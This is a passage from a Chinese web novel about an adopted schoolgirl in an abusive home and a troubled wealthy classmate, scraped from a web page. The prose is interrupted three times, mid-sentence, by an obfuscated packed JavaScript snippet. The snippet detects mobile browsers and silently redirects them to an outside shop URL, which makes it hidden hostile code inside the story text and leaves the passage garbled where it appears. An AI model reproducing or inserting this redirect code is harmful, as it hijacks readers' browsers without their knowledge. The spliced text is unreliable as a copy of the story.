完了。 以为相璨会信守诺言不去打扰她?柳静仪还是太天真了。 这只是相璨的缓兵之计。 一旦相璨笃定的事情,那九头牛也拉不回来。 玻璃窗不知何时起了雾,雪依旧在飘。 有人从昭阳楼掀开厚重的帘子,一行人前往瑶光楼,难掩激动,吵吵嚷嚷的,好不热闹。 寒风吹着雪花落在宋泓身上,他在冷风里,垂下眼睛,笑意不达眼底。明明身处正中央,却游离在热闹之外。 柳静仪和相璨先后走出重光楼,前往瑶光大礼堂。 之所以去大礼堂,是因为相璨的试卷忘在了瑶光楼的休息室里。昨天她忙着排练,卷子发下来后往书包里一塞,背着包去跳舞,然后成功把包忘在那里了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179078|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本想去拿了然后回教室,但柳静仪赶时间,提出和她一同前去,然后拿着她的卷子回家,明天再和她讲错题。 …… 也行吧。 这样效率确实高一点。 重光和瑶光这两栋楼距离不远,两人很快抵达。 她们来的时间不早了,大礼堂里早有人排练节目,高二年级的风云人物徐立言和张弛在讲台上弹唱《新鸳鸯蝴蝶梦》。 舞台上灯光璀璨,耀眼夺目,台下昏暗,错落坐着许多人。柳静仪站在最后一排,在最高处,看着台上的人欢声笑语,意气风发。 相璨匆匆忙忙朝着休息室跑去,柳静仪随便在最后边,随便找了一个位置坐下。 身后有人推门进来,一行人压低声音,说着什么。《新鸳鸯蝴蝶梦》在这一刻唱到尾声,柳静仪在嘈杂里抬起眼睛来,向前看去。 舞台光线如梦似幻,刚刚那一行人也选了这排落座,人声涌来,远远观望里,她忽然对旁人的青春生出来些许的羡慕。 却在下一秒的吵闹声里忽而僵住。 她听见一个声音说:“宋泓坐最里面!我第二,游海第三,你们随便坐——” 有人低低应:“嗯。” 悉悉索索的移动声很快响起。 昏暗里,有人坐在了她旁边。 柳静仪瞳孔一震。 是他。 宋泓在热气里闭上眼睛,皱起来眉头。 外面天气不好,又是下雪又是刮风,连带着他头也痛。 今天下午在学校里偶遇了柳静仪,却只看见了一个背影,下午放学后倒是见到了人,但那时校园里人太多,一晃神,她便没了踪影。 到现在,除了演讲时那个模糊对视,记忆里也就只剩下她今天下午在雪里的回头。 依旧是没看清人。 宋泓不明白,他为什么会记住这样一个名字,也不明白这些画面为什么会在他的脑海里反复出现。 反复的画面让向来自认健康的他甚至在想,他的病情是不是进一步加重了。 一曲落下,周知意极其给面子的在台下为徐立言和张弛鼓掌,梦幻灯光下,她美的不可方物,与此同时,侧边帘幕掀开,相璨出现在舞台尽头。连镶游海霎那站起来,吵着要上前。 “宋泓——宋泓?躲一下,我俩想出去。” 宋泓在走廊最左侧,旁边也只有一个人,从他这边出去要快一些。 宋泓揉揉额头,感觉脑子几乎要炸开,他低低应了一声,站起来给他们让路。 不知道是不是宋泓的错觉,他觉得站起来的那一瞬间,旁边的人呼吸明显的顿了一下。 宋泓在昏暗里侧过头去,礼貌道:“借过,麻烦了。” 那人还没来得及回应,变故突发。 游海上前时,旁边的人过于兴奋,拍他的时候劲使大了,他没站稳,猛地朝连镶一扑,连镶一个踉跄,不小心跌在了宋泓身上。 多米诺骨牌效应霎那发散,宋泓几乎是狼狈的撞到了旁边的人,在惯性下靠在了她身上。 好巧不巧,旁边行人摸黑前进时不小心拍到了走廊侧边的开关,后排灯光亮起,所有人被忽如其来的光刺激的下意识闭眼。 朝这边奔过来的相璨眼睁睁的看着柳静仪被撞倒,下意识出声:“柳静仪——” 刺眼灯光混合着相璨清晰的呼唤传到了宋泓耳朵里,他脑海忽地响起线性轰鸣,眼前刹那间天旋地转。 宋泓伸手扶着额头,睁开眼睛。 柳静仪被撞倒,下意识朝他看来——四目相对,一眼惊鸿。 这是他们在无数次擦身后的第一次相见,一个惊鸿一瞥,一个心跳如擂,动了两颗心。 宋泓在这插曲里还没反应过来,柳静仪忽地一把推开他,头也不回的转身就走。旁边的罪魁祸首却在那里惊呼:“我靠柳静仪?是柳静仪!!她居然来大礼堂看校庆节目?” 相璨三两步跑来,见游海他们没有一点愧疚,反而是看热闹的表情居多,瞬间炸了:“你们几个要死啊?学校不是你们家,走路能不能注意一点周围的人?有点素质行不行?!” 她气的脸色通红,在原地一跺脚,追出去:“柳静仪——等等我柳静仪——” 宋泓被推的一个趔趄,却忽地转过头去,问:“谁?” 他们说,刚刚他不小心撞到的那个人,是谁? “柳静仪啊哥们,17级9班的柳静仪。” 见宋泓的脸上出现了些许空白,那人又道: “不是吧宋泓,你连她都不知道?年级闻名的大美人,那双清澈的眼睛可不是谁人都有的,学习样貌哪哪都好,可就是身体不太好,隔三岔五请假,有的时候甚至十天半月都见不到她的人影。” “哎,可惜了——哎哎宋泓,你去哪?” 连镶眼瞅着宋泓朝外奔去,高声叫他,可宋泓却充耳不闻,愈走愈快,几乎跑起来。 “是她——” 7. 桃 柳静仪喘着粗气,步伐飞快。 她想直接离开,可路上行人稀少,无论追出来的是相璨还是宋泓,都能一眼看到她。原本流畅的脚步一顿,她在瑶光楼前的岔路口转了个弯,略显狼狈地进了开阳楼。 柳静仪思绪混乱,她谁也不想见。 一楼是高年级的化学竞赛培训室,里面正在测试,汇集的人埋下头去,奋笔疾书。 柳静仪靠在窗边,皱着眉头闭上眼睛。剧烈的心跳在这一刻格外清晰,以至于让她忽视掉身体被撞到的痛。 如她所料,几乎是闭上眼睛的同一时间,相璨就追了出来。她看着空空如也的岔路口,咬牙选了一条路追过去。 这条路通往校门很快,柳静仪刚刚受了惊,相璨猜测,她一定是想以最快速度离开的。宋泓见状,也毫不犹豫地跟在她身后,大步流星的向前。 两个人很快消失。 开阳楼的透明玻璃反射出来雪意,柳静仪站在阴影里,闭上眼睛,长出一口气。 天空又飘起来小雪,柳静仪当机立断,背上书包朝着相反的方向离开。 相璨选择的那条路上人逐渐多了起来,雪天风大,她看不清楚,只能赌注一般向前走,跟在身后的宋泓看着前方,却鬼使神差地停了脚步。 他忽然有一种直觉,这条路上没有柳静仪。 冥冥之中,他转身回到岔路口,重新站在那里的时候,那种预感更为强烈。无论是哪条路,他今天都不会再见到柳静仪了。 雪花落在他微微发颤的睫毛上,这一秒,宋泓头痛欲裂。呼出的热气上涌,他闭上眼睛,却仍没逃过情绪的控制,一脚踹上路边堆起的积雪。 溅起来的雪飞到半空,又带着暗色的光,悠然落下。 柳静仪在雪花里路过知还池,从学校后门离开。 天已经有些暗了。 她本想在知还池边喘口气就回家,却没想到相璨会追着她出来,还去了食堂。一来一回加上那个插曲,浪费了太多的时间,柳静仪不免有些焦躁。 如果知道事情会是朝着这样的方向发展的话,那她放学后一定不会在学校逗留。 柳静仪不由得加快步伐。 二十分钟后,她拐进一条小巷里。 如果说清晨的小巷人声寂寥,颇有些世外桃园的感觉的话,那傍晚的小巷就是身处闹市的极端。 眼前的街道混乱失序,又有些许嘈杂,路边老旧的餐馆里亮起来劣质的廉价彩灯,老板娘在混乱的人声里躬身忙碌。 柳静仪路过这些热闹,在愈下愈大的雪里向前,远方吹来一阵风,路边的柳树被雪压的弯下枝头。 “啪嗒——” 柳静仪定住。 枯枝发出声响,连带着雪一起落在了地上。 她回过头。 眼前家门紧锁,哪里还是有人的样子? 柳静仪看着那锁,缓慢而又无奈的闭上眼睛。 她没有这个家里的钥匙。 以往尤婉心出门的时候都会把钥匙压在家门口的石头下,但今年夏天,尤婉心和柳建明吵架后,摸起来那块石头砸破了柳建明的头,两个人打的不可开交,再然后,那块石头就被丢掉了。 往事在脑海里不停翻涌,柳静仪垂下眼睛,拿出书包,在夹层里摸出来根一字夹。 她面无表情的上前,熟门熟路的把那发卡伸进锁芯里,一转。 柳建明时常出门酗酒,尤婉心出门上班,深夜才回,柳静仪隔三岔五就被锁在外面。 一开始她无处可去,只好在巷子口的便利店里打零工,等到柳建明喝的醉醺醺回家,她再跟着他一起回去。后来某天晚上,小巷里忽然来了警察,说要调取便利店的监控。 店长带着那两个警察去了室内,一起兼职的小男生见他们进去后,走到柳静仪身边碰了碰她的肩。柳静仪抬眼,他俯下身来,凑到柳静仪耳边神神秘秘的说:“哎你听说了吗?章俭家遭贼了。据说有人用铁丝撬开了他家的门,拿走了好些钱呢。” 柳静仪拉开些距离,许久后轻声说:“是吗?” 后来案件侦办情况柳静仪无从得知,但估计是不太好,因为她隔三岔五就在那个小房间听见章俭和姚桃吵架,很凶。 但比起来尤婉心和柳建明,还是不值一提。 又过了几天,柳静仪没赶上回家的最后一班公交,徒步回家时,路过一家精品店,里面的黑色发夹反着奇异的光。 “啪嗒。” 门锁大开,柳静仪收起来发夹,伸手推门。 她平时是不会撬锁的,除非碰到一些紧急情况——比如说,现在。 铁门吱呀一声响起,院子一片漆黑,柳静仪心里提起来一口气。她随手带上门,踩着院子里的积雪,一步步上前。 推开房间的门,打开灯—— ——室内整洁,没有血,也没有任何打斗的痕迹。 柳静仪长出一口气。 却又不放心,转身往厨房去。 鹅毛大雪落在她的头上,院子里两行交叉的脚印格外清晰,柳静仪站在厨房里,就着月光,看着冷锅冷灶彻,彻底放下心来。 扑通——扑通—— 心跳在此刻格外的剧烈,柳静仪闭上眼睛,疲惫的倚在门上休息。万籁俱寂中,门轻轻地响了一下。 柳静仪闭着的眼睛忽然颤了颤。 很快,院子里传来轻微的脚步声。 柳建明和尤婉心向来不对付,两人一起回家不可能这么安静,柳静仪不由得想起来前段时间小巷遭贼的事情。 她睁开眼睛,屏住呼吸,默不作声的摸起来尤婉心做饭用的菜刀。 来人似乎先去了客厅,开门声很轻,又很快出来,朝着厨房来。 脚步声越来越近,柳静仪躲在门后,屏息。 姚桃抱着孩子,在外面伸手拍开厨房的灯,门后长长的影子映出,她刚准备叫柳静仪的名字,就听见柳静仪冷声质问:“谁?” 柳静仪攥着刀出来,神色凝重。 院内灯光落在了姚桃那张干净的脸上,鹅毛大雪纷扬落下,她抱着熟睡的孩子,对着柳静仪温柔一笑: “不要怕,静仪。是我。” “小阿姨?” 柳静仪松了口气,在剧烈的心跳中放下刀,问:“你怎么在这儿?” 姚桃对她笑了笑,说:“我刚刚听见了你家有声音,就想着过来看看是不是你回来了。” 柳静仪了然。 姚桃又笑:“婉心姐还真是了解你,提前预判了你今天会回家,还连你什么时候到都知道的一清二楚。” 柳静仪在她的话里眨眨眼睛,怀里的宝宝动了动,姚桃伸手轻轻拍了拍她,说:“走呀去我家,现在下大雪,外面这么冷,别冻到你了。” 柳静仪摇摇头,说:“谢谢你小阿姨,我就不去了,你快回家吧,不要着凉了。” 姚桃哪能同意:“别呀,我都和婉心姐说好啦,今天她不在家,你来我家住,我下午新换了四件套,可暖和啦!你要是不去,我可不好交差的。” “真的不用麻烦了小阿姨——” 话没说完,姚桃三两步上前,伸手拿过柳静仪的书包背到了肩上,又伸手把怀里熟睡的宝宝顺势放到柳静仪的怀里。 做完这些,姚桃笑着后退一步,柳静仪抱着孩子手足无措。 姚桃狡黠一笑,说:“你不跟我走,那我可自己走了?” 怀里的婴儿是姚桃的二胎,名叫章昭,是个女儿,到今天也才不过十个月。柳静仪的房间里没有任何的取暖工具,这么小的孩子要是跟她住上一晚,一定会生一场大病。 柳静仪看看她,又低下头看看怀里的章昭,无奈的叹了一口气: “小阿姨……” 姚桃见她妥协,开怀一笑。 知子莫若母,尤婉心真的很了解柳静仪。 如果不是她支招儿的话,那今天晚上她还真拿柳静仪没有办法。 姚桃和她家只有一墙之隔,几步路的事情。 柳静仪抱着孩子跟姚桃回家的时候,正巧章俭接了大女儿放学回来,见到章俭,姚桃的脸色瞬间拉了下来。 柳静仪站在门口,对眼前老实的男人叫道:“小叔。” 厨房里,章母正在切菜,菜刀剁地砰砰响,章俭摘下手套,对柳静仪招呼道:“嗯,来了?” 柳静仪点点头,章俭又低下头去,对女儿说: “叫静仪姐姐。” 一年级的章奕眨眨眼睛,对她怯生生地叫道: “静仪姐姐。” 章俭笑着揉了揉章奕的头,对她说: “真棒,跟姐姐上楼去学习吧。” 章奕点点头,乖乖上前,牵住了柳静仪的手。柳静仪看了一眼姚桃,她挤出来一丝勉强的笑,对着柳静仪说: “你先上去休息,我随后就来。” 任谁来也能看出夫妻二人之间剑拔弩张,可姚桃话说到这,孩子又在,柳静仪也不好拒绝,只得牵了章奕离开。 夫妻二人站在大门口,章俭低声说了什么,姚桃压低声音反驳,厨房的门也响了,章母出来,声音吝啬嫌弃。 这句话柳静仪听清楚了,她说:“这丫头来又要添筷子了,真晦气,要不是——” “妈!” 姚桃打断她,低斥道:“静仪只是一个孩子,吃不了你们家多少饭,不要这么过分!” 柳静仪垂下眼睛,神色莫测。 章奕却晃了晃她的手,说:“姐姐,我们去房间吧,外面好冷。” 柳静仪摸了摸她的头,又看了看怀里的章昭,也觉得有些冷。 “好。” 姚桃房内暖气充足,柳静仪放下章昭后,开始教章奕写作业。二十分钟后,姚桃背着她的书包,端着饭推门进来。柳静仪起身上前接过书包,放到一旁。 姚桃把饭放在桌上,对着柳静仪笑: “这么晚,一定饿了吧?” 柳静仪摇头,说:“在学校吃过了。” 姚桃又说:“那也再吃一点,天这么冷,要吃热饭呐。” 柳静仪推辞不过,只得拿个小碗。 三个人坐在桌子上吃饭,柳静仪尝了一口炒饭后,忽地顿了一下,姚桃推过来一碗汤,问: “好吃吗?” 柳静仪点点头,说:“很好吃。” 姚桃放心的笑了,“那就好,你喜欢就多吃一点。” 柳静仪在这话里莫名的有点眼酸。 她点点头,又仰起脸来,冲姚桃笑笑。 “小阿姨——” 姚桃抬起脸,“嗯?” 柳静仪问:“我妈有说她什么时候回来吗?” 姚桃说:“就这么一会儿,就想妈妈了呀?” 柳静仪抿了抿唇,没说话,姚桃也不吊她胃口,说:“很快,你爸最近不是身体总是出问题吗?她陪着去医院检查了,估计明天就能回来了。” 柳静仪点了点头,说,“好。” 姚桃伸出手来摸摸柳静仪的头,又在心里叹了口气,她转过头,窗外依然大雪纷扬。 夜色浓重,宋泓在雪里踏出校门。 路灯昏黄,来接他的车停在路边。宜兰见宋泓出来,在后座降下来车窗,对着他招呼道: “宋泓——” 宋泓循声看来,宜兰笑着招手,说:“这儿。” 很快,宋泓带着满身寒气落座。 宜兰见他面色不虞,对着他关心道: “怎么啦?怎么看起来不太开心?” 宋泓皱了皱眉头,说:“没有。” 宜兰又问:“遇到什么烦心事了?可以和妈妈说一下吗?” 宜兰是一个很有耐心的人,但宋泓时常会觉得,他早晚有一天会被宜兰的软刀子逼疯。比如她得不到自己想要的答案就会想方设法,比如现在。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179079|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 昏沉里,宋泓看着宜兰关切的眼神,觉得自己有些不识好歹,同时又有些溺水般的窒息。 从小到大,他好像很少对宜兰说不,一般是另一个人说出来拒绝的话。 …… 宋泓忽然感觉到了不对。 他是独生子,又去哪里来的另一个人? 他为什么忽然会这样想? 宋泓的脸色变了又变,宜兰直觉不对,赶忙出声叫他:“宋泓?宋泓?你怎么了?” 哪里来的另一个人? 宋泓头痛欲裂,额头一度冒出来冷汗。 宜兰急得不行,赶忙拿出来水给他,又给宋承德打电话,只不过她刚拨出去号码,宋泓就在旁边制止道:“妈妈。” “我没事,不要给爸爸打电话了。” 近日西琅首富、著名企业家杨晴携她的丈夫傅问从美返乡,宋承德有心要和对方谈合作,忙的脚不沾地。 宜兰被他吓的不轻,颤抖着声音问:“你怎么了宝贝?不舒服吗?” 宋泓拿过来电话,伸手挂掉,“嗯。” 做完这些,他轻轻靠在后座喘气:“我头疼。” 宜兰又拿过来手机,说:“我给安格鲁打电话——” “不用了。” 车子缓慢前进,后座的玻璃反射出来灯光,宋泓脸色苍白,低声恳求。 “我只是想静静,不要担心,好吗?” 宜兰点点头,“好。” 宋泓在宜兰的应允里闭上眼睛,轻轻的靠在玻璃上。他脑海里一片混乱,一会是刚刚的潜意识,一会又是下午遇到柳静仪的画面。 他头痛欲裂,却也在这阵针扎似的痛里意识到,柳静仪这个名字,从一开始就在他的潜意识里。 和那个奇怪的想法一样,存在过。 但是令人困惑的地方也在这里,他几乎是能确定,他没见过柳静仪的。那样出众的样貌,如此冷淡的性格,如果见过她的话,宋泓一定不会忘记的。 可没见过的话……他为什么又会下意识的追寻这个名字? 半个小时后,车子停在兰园——西琅著名的富人区。家里的保姆已经做好了饭菜,宋泓却眼也不眨的直接上楼,宜兰着急,“要吃饭啊——” “学校里吃过了。” “那过来吃药,吃完再上楼休息——” 宋泓上楼梯的脚步一顿。 宜兰知道他向来心软,便故技重施: “宋泓,妈妈很担心你。” …… 但这一次,招数却不奏效。 灯光下,宋泓淡淡的眨了眨眼睛,轻声说: “是吗?” 话音落下,脚步声接着响起,宋泓上了二楼,关上门,又啪嗒一声,落了锁。 楼上,宋泓把自己丢在床上,在漆黑的房间里不断的回想他究竟在什么地方听过这个名字,但徒劳无功。 楼下,宜兰给怀特先生拨去越洋电话,对着他说宋泓头痛欲裂,旧病复发。 餐桌上的饭热了又热,宜兰看着宋泓紧闭的房门,束手无策。两个小时后,宋承德驱车回来,一进门就见到宜兰双目通红的坐在沙发上。 她满脸憔悴地看向宋承德:“你怎么才回来?” “去打探消息了,今天饭桌上终于有人漏了口风,说杨晴这么多年不回西琅,是因为在这里受过情伤,她的真爱怕她触景生情,才和她定居在国外。” “据说常年在国外和北城之间往返,现在回西琅一是因为想要祭奠她那早夭的女儿,然后才是集团发展——倒是可惜。” 宋承德说到这里,叹了口气,他脱下大衣递给佣人,坐到宜兰身边揽着她,低声问: “怎么了?碰上什么大事了——怎么又哭了?” 宜兰埋在他怀里,眼泪沾湿宋承德胸前的衣衫: “宋泓的病情,好像又加重了——医生说,这坎要靠他自己克服,要么他就恢复正常,想起来当年的一切,要么——” ”他就变成一个疯子。“ …… 宋承德霎那正了脸色,宜兰却在时间的折磨下几近崩溃,她在宋承德的怀里喃喃道:“要是恩仪还在,宋泓也不会是现在这样——” “宜兰!” 宋承德低斥,随即抬头看看楼上,宜兰恍然发觉自己失言,闭上眼睛,捂住脸,无声痛哭。 佣人端来切好的新鲜桃子,宋承德叹了口气,拍拍她,端着水果上楼。 “当当当——” 房门又一次被敲响,宋泓满身大汗的转身,盯着门口。 “宋泓?爸能进去吗?” …… “儿子?” 房间里悄无声息,宋承德按下把手,却转不动。 门落了锁,人没有任何回应,宋承德当机立断的让管家拿了钥匙来开门。 钥匙圈开门时相互碰撞,发出清脆声响。 “啪嗒——” 门开了,室内一片漆黑。 管家按开灯,突如其来的光照的人睁不开眼睛,宋承德一个箭步冲了进来。 “宋泓?宋泓?” 宋承德把东西放在一旁,急切的叫他,宋泓睁开眼睛,虚弱地说:“……爸。” “我没事。” 宋承德长出一口气,他见宋泓满身疲态,伸手拿了药递给他。 各色胶囊和药片躺在宋承德宽大的掌心里,宋泓抬起眼来,看着他,又朝他身后看去。 “那是什么?” 宋泓嗓音沙哑的说。 宋承德转头,看见桌上那盘切好的水果,说:“桃,但你现在不能吃——” …… 眼前的宋承德在说些什么,宋泓却一个字也没听见,他看着那个桃,脑袋里只有一个想法。 逃。 不然,他永远也想不起来过去究竟发生了什么,而他,又是为什么患上精神障碍的。 8. 圣母 凌晨三点,医院里灯火通明。 尤婉心站在急诊科里,疲惫地叹了口气。 柳建明近两月身体不舒服,要么就是恶心,要么就是头晕,有种说不上来的难受。 昨天下午,他要尤婉心拿点钱,去医院看看。 尤婉心睨他一眼,没什么好气道:“哪有钱?家里的钱都被你拿去吃喝玩乐了。” 其实她是想说吃喝嫖赌的,但依照柳建明近年的脾气,听见这四个字就会把家翻个底朝天。 尤婉心不想自找麻烦,干脆换了说辞。 偏生这时候柳静仪从外面敲门,说所有的奖学金都存到了卡里。 只一句话,尤婉心的怒火就直冲脑门,再一抬眼,柳建明果然醉醺醺的笑了。 这下没有任何理由推辞了。 尤婉心直呼倒霉,连带着看柳静仪都不顺眼。赶了柳静仪出门上学后,只好带着柳建明去医院。 坏消息是,两人去的时候,医院的号已经挂满了。 旁边的护士看着醉醺醺的柳建明,耐心提示,说要醒酒之后才能做各项检查。两个人只能在医院门口就近找宾馆开一间房,等着柳建明身上的酒劲过去。 好消息是,柳建明这个酒鬼身体代谢很快,凌晨两点,他就已经完全清醒了。 浑浑噩噩了一整个白天,晚上当然有精神,于是柳建明摇起来尤婉心,大半夜的挂了急诊。 尤婉心被折腾不轻,一双眼睛熬的通红。 至于为什么不等到第二天? 废话么,身体不舒服就是最大的理由啊。 柳建明成日酗酒买醉,日夜颠倒,谁知道他什么时候就会死过去? 人都是惜命的,这一点啊,情有可原。 他说的倒是轻巧,可把尤婉心累个够呛。 柳建明躺在病床上,哎呦哎呦的叫唤,中年女人满脸困倦的跑上跑下,又是开单缴费,又是做检查,没少费工夫。 凌晨四点,化验结果终于出来了。 主任医生看看手里的单子,困倦的打了个哈欠,快速问道:“平时喝酒吗?” 柳建明点点头,尤婉心说:“喝酒,还喝不少。” 医生了然,下了诊断:“那就是了,你这是过度饮酒加上饮食不当引起的食物中毒,难受是正常的。” “食物中毒?” 柳建明下意识重复。 医生顶着眼袋点点头,说:“对——你这真算命大啊,如果这饮酒量再多个一两百毫升的话,那你这小命就过去了。” 柳建明后知后觉的感到心惊,尤婉心也似乎被这话吓到了,声音都有点哽咽:“医生——那他现在怎么样?” 医生显然也见惯了大场面,对这种情况习以为常,他挥挥手,轻描淡写的说: “目前没有什么问题,就是饮食上要多注意,平日里啊海鲜啊什么东西都少吃一点,按医嘱吃药,定时复查,少喝点酒多晒晒太阳,两三个月后就没有什么问题了。” 尤婉心神色复杂,柳建明长出一口气,却在回味某个字眼的时候顿住。 他下意识偏过头,尤婉心却恢复正常,连声道谢:“真是麻烦您了医生。” “那我们还需要住院吗?” 医生摇摇头,上前调了一下柳建明的输液器,说:“不用住院,打完针就可以走了,回家后一定多注意休息,尤其是注意饮食。” “好的好的,真是太感谢您了,我们一定会注意的。” 医生很快离开,尤婉心象征性的走了两步,便以目光相送。 柳建明在旁边一言不发,若有所思。 尤婉心一转身,就见柳建明直勾勾地盯着他,她后背发凉,皱了皱眉头问道: “这么看我做什么?”我脸上有花吗? 外人离场,夫妻二人相敬如宾的戏台霎那倒塌,又恢复了之前那种剑拔弩张。 柳建明沉沉一笑,语气不明道:“看我有一个陪着跑上跑下照顾我的好媳妇啊。” 温馨的话语在他的嘴里变得不寒而栗,尤婉心装着听不懂其中深意,撇过头去没搭理他。 凌晨六点,柳静仪准时在姚桃家醒来。 章奕睡姿不好,窝成一个团靠着她,露在外面的脸红扑扑的,像颗诱人的苹果。 柳静仪轻悄悄的起身,穿好衣服下床。 她拿出来昨天写好的纸条,放在桌子上,而后轻手轻脚的离开。 下楼梯的间隙,柳静仪听见隔壁好像有声响。 她站在楼梯上,朝家里一望,客厅灯光亮着,在灰蒙蒙的清晨格外打眼。 柳静仪三两步下楼,走到巷子里一看——家门大开,厨房内乒乒乓乓,可不就是尤婉心和柳建明回来了? 柳静仪背着书包,在炊烟里进门,朝着厨房走去,柳建明正好在客厅里出来,见到她后不冷不热的招呼:“回来了?” 柳静仪停了脚步,应道:“嗯。” 尤婉心的身影在厨房里不停的忙碌,柳静仪思忖了一下,又问:“你…还好吗?” 柳建明和她擦肩而过,朝厕所去,却忽然在她的话里转过头来,眼神凶狠凌厉。 柳静仪不明所以,他却在柳静仪的茫然中变了脸色。阴鸷变为不屑一顾,柳建明拖着令人不适的调子,说:“托你的福,暂时死不了。” 尤婉心听见院里的动静,切菜的手一顿,意识到是谁回来后,她放下刀,走出房门。 柳静仪听见动静抬头,尤婉心满脸不耐,对着她问:“你怎么在这里?” …… 柳静仪抿了抿唇,没说话。 尤婉心摆了摆手,嫌弃的冲她说:“抓紧时间去上学,别在这里碍我的眼。” 柳静仪没吱声。 早上六点,天才刚亮,路上的人都没有几个,就要赶她去上学。柳静仪不明白为什么每一次尤婉心都这样迫不及待赶她出门,甚至是不加掩饰。 “妈…” 尤婉心在这个称呼里怒目,柳建明在厕所里出来,弯腰洗手,水流声响起,尤婉心上前毫无预兆的扇了柳静仪一巴掌。 “啪——” 柳静仪被打的偏过头去。 他们夫妻二人领养了柳静仪十年,这是十年间,尤婉心第一次对柳静仪动手。 柳建明一顿。 尤婉心声音颤抖,怒道:“你喊我什么也没有用,我再说一遍,你去给我上学——” 柳静仪转过头来,红着眼睛看她。 “立刻,马上就去!” 恶语相向,巴掌生风,可柳静仪却仍然站在那里,岿然不动。 柳建明走了过来,发慈悲似的说: “天这么冷,让她吃了饭再去吧。” “哪里来的饭给她吃?是你赚钱还是我赚钱?” 尤婉心尖声叫起来,柳建明走到厨房内掀开锅,清粥小菜,寡淡无味。 啧。 还真是—— 隔壁的姚桃在熟悉的争吵声里猛地睁开眼睛。 就这动静,不用想也知道是柳建明夫妇回来了。 她叹了口气,起身打算去看看柳静仪,可打开门却发现空空如也—— 章奕在床上翻了个身,纸条孤零零的躺在桌上,哪里还有柳静仪的影子? 姚桃快步上前,拿起来那张纸条,女孩苍劲的字力透纸背: “小阿姨,感谢你的照顾,我去上学了。” 姚桃听着隔壁的大声斥骂,叹了口气。她猜又是尤婉心不肯让她吃早饭,姚桃困惑,却又一阵心软,准备偷偷拿自己的私房钱给柳静仪一点。 不多,也就十几块,但最起码能在这冷天吃点东西。 她穿好衣服往外走。 “去哪?” 身后忽然响起来一个声音,姚桃转身,章俭神色有些阴鸷: “又要装圣母拿钱去救济隔壁那一家奇葩?” 大早上,孩子们都在睡觉,姚桃不想和他吵,好声好气地说:“只是让静仪吃点热乎饭,天这么冷,她一个孩子,还在长身体呢——” 话音未落,就被章俭打断: “她有她妈管,用不着你操心,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179080|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也别在这里装大方,家里现在揭不开锅你不是最清楚吗?” 那天出门是姚桃锁的门,被撬了锁,责任也连带着都推到了她身上,这几天夫妻二人因为这个事情吵了一次又一次,眼见章俭旧事重提,姚桃也一下炸开了锅: “是我让小偷来偷你们家?” “是我让你妈把家里所有的存款都放在客厅里的吗?” “为什么你永远都不找原因,只会什么事情都怪在我身上?” 两个人顿时吵得不可开交。 小巷一大早热闹了起来。 尤婉心熬了个大夜,回家又忙着做早饭,刚刚的那一巴掌好像耗尽了她所有的力气,她转过头去,看着厨房内的柳建明,忽然对柳静仪轻声说: “你住校吧,柳静仪——” 柳静仪在这忽如其来的决定里抬起头。 尤婉心疲惫道:“最近我要照顾你爸,没功夫管你了。” 柳静仪红着眼,摇摇头,低声说: “我不想。” 尤婉心嗤笑了一声,她看着柳静仪,懒得掩饰: “一定要我把话说的那么清楚吗?” …… 柳静仪缓缓的抬起眼来看她。 “不止是你爸生病,我也厌倦了…我不想再看见你了,你现在清楚了吗?” 柳静仪心如刀绞,但她还是执拗的说: “那我不出现在你面前。” “你——” 尤婉心被气的声音发颤,柳建明从厨房内出来,走到二人身前,他看看被气的双眼通红的尤婉心,又看看执拗的柳静仪,然后毫无征兆地伸手,一个巴掌对着柳静仪抽过去。 “啪——” 又是一巴掌打到了柳静仪的脸上,只不过这一巴掌比起来上个,力道重了不止一星半点。 柳静仪被忽如其来巴掌打的眼冒金星,踉跄向后。 那张脸迅速肿了起来。 尤婉心生拉他没拉住,还被他甩到一边,面对柳建明的喜怒无常,尤婉心也恼了: “你又打她做什么?” “不听话就该打——” 他忽然发疯:“我不止打她,我还要打你呢——” 柳建明左看又看,视线捕捉到院里废弃的木椅,他三两步上前,抄起椅子就要往尤婉心身上砸:“老子在医院差点没命,回了家你就做这么敷衍人的东西给我吃——” 他骂骂咧咧,速度却快,尤婉心被甩到一旁撞到了腰,躲闪不及。 正当她认命的闭上眼睛时,一个身影快速朝这边冲过来。 想象中的巴掌没有袭来,寒风中,尤婉心被拥进一个温暖的怀抱里。 “嘭——” 温馨香气包裹住尤婉心,千钧的力道砸在了柳静仪的背上。 木椅受不住力猛地散开。 柳静仪闷哼一声,却把尤婉心抱的更紧。 尤婉心看向满头大汗的柳静仪,不可置信的红了眼睛。 西琅在这一刻忽然起了风。 / 早读后宋泓第一时间站在了17级9班的门口,对着门口的座位表,朝里张望。 恰逢相璨垂头丧气的出门,宋泓低声叫住她:“喂——” “干嘛?没素质大王!” 